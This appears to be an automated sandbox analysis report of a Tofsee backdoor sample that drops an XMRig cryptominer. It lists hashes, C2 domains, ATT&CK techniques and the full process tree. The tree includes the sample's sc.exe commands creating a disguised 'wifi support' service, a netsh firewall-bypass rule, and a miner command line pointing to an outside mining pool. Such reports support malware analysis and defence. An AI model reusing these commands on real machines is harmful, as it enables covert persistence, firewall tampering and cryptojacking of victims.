Analysis

  • max time kernel
    147s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30-05-2023 08:51

General

  • Target

    file.exe

  • Size

    274KB

  • MD5

    dbbb946f4228bd42954f0fc37607d9e9

  • SHA1

    613aca1b293843322b08583d969d5611e859fd75

  • SHA256

    33131cdcd5d945bb411d7f74e019c16609a9690638bf040b975ae099e6643f63

  • SHA512

    00031955c563ac6546bb38e4e05b2365cbd9564774a5b993674fe01dc82bfd68da5c37bcc6f8d3e07301e47dea1512f85bbe1b2512f866eaa9c0046df50b9c58

  • SSDEEP

    3072:13cVvOWyaFDk3pCz6wIHwEP89c9mNNkRXF/AYLf2VsNO5Jn1DA4zkzPa5M:RcJOWHk3I6wilENNkF7QpSPa5

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 8 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:1320
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\irvrvctx\
      2⤵
        PID:2636
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\pbjgmzfd.exe" C:\Windows\SysWOW64\irvrvctx\
        2⤵
          PID:3636
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create irvrvctx binPath= "C:\Windows\SysWOW64\irvrvctx\pbjgmzfd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2904
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description irvrvctx "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:1972
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start irvrvctx
          2⤵
          • Launches sc.exe
          PID:2592
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:1312
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 1320 -s 652
          2⤵
          • Program crash
          PID:3976
      • C:\Windows\SysWOW64\irvrvctx\pbjgmzfd.exe
        C:\Windows\SysWOW64\irvrvctx\pbjgmzfd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:228
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:4696
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.70000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2260
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 228 -s 512
          2⤵
          • Program crash
          PID:4992
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 1320 -ip 1320
        1⤵
          PID:220
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 448 -p 228 -ip 228
          1⤵
            PID:4488

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\pbjgmzfd.exe
            Filesize

            14.1MB

            MD5

            0526ca3fd6319305b5d97bbce484a5c5

            SHA1

            b4374d03ddafc564a313f5ee6335f1cc27c26d4d

            SHA256

            037844bc894ea51d1ecb32c8bff620d5fd35b6354ca8e003e40be6ab48ca7cc9

            SHA512

            89856789c642c7184cbf93a2b26b1abc31bae398d2c7bae2569b9218ccd364606d458d6103ca295e4539d12565f4d6603f2178adb4c511d755f878baa7fba401

          • C:\Windows\SysWOW64\irvrvctx\pbjgmzfd.exe
            Filesize

            14.1MB

            MD5

            0526ca3fd6319305b5d97bbce484a5c5

            SHA1

            b4374d03ddafc564a313f5ee6335f1cc27c26d4d

            SHA256

            037844bc894ea51d1ecb32c8bff620d5fd35b6354ca8e003e40be6ab48ca7cc9

            SHA512

            89856789c642c7184cbf93a2b26b1abc31bae398d2c7bae2569b9218ccd364606d458d6103ca295e4539d12565f4d6603f2178adb4c511d755f878baa7fba401

          • memory/228-143-0x0000000000400000-0x000000000068A000-memory.dmp
            Filesize

            2.5MB

          • memory/1320-135-0x0000000000760000-0x0000000000773000-memory.dmp
            Filesize

            76KB

          • memory/1320-142-0x0000000000400000-0x000000000068A000-memory.dmp
            Filesize

            2.5MB

          • memory/2260-198-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-199-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-197-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-196-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-195-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-194-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-193-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/2260-188-0x0000000000600000-0x00000000006F1000-memory.dmp
            Filesize

            964KB

          • memory/4696-167-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-174-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-162-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-160-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-161-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-163-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-164-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-165-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-166-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-156-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-168-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-169-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-170-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-171-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-173-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-159-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-172-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-175-0x0000000001DF0000-0x0000000001E00000-memory.dmp
            Filesize

            64KB

          • memory/4696-176-0x00000000029D0000-0x00000000029D5000-memory.dmp
            Filesize

            20KB

          • memory/4696-179-0x00000000029D0000-0x00000000029D5000-memory.dmp
            Filesize

            20KB

          • memory/4696-180-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/4696-183-0x0000000007500000-0x000000000790B000-memory.dmp
            Filesize

            4.0MB

          • memory/4696-184-0x00000000029E0000-0x00000000029E7000-memory.dmp
            Filesize

            28KB

          • memory/4696-153-0x0000000001DE0000-0x0000000001DE6000-memory.dmp
            Filesize

            24KB

          • memory/4696-152-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/4696-149-0x0000000002600000-0x000000000280F000-memory.dmp
            Filesize

            2.1MB

          • memory/4696-148-0x0000000000760000-0x0000000000775000-memory.dmp
            Filesize

            84KB

          • memory/4696-146-0x0000000000760000-0x0000000000775000-memory.dmp
            Filesize

            84KB

          • memory/4696-145-0x0000000000760000-0x0000000000775000-memory.dmp
            Filesize

            84KB

          • memory/4696-144-0x0000000000760000-0x0000000000775000-memory.dmp
            Filesize

            84KB

          • memory/4696-139-0x0000000000760000-0x0000000000775000-memory.dmp
            Filesize

            84KB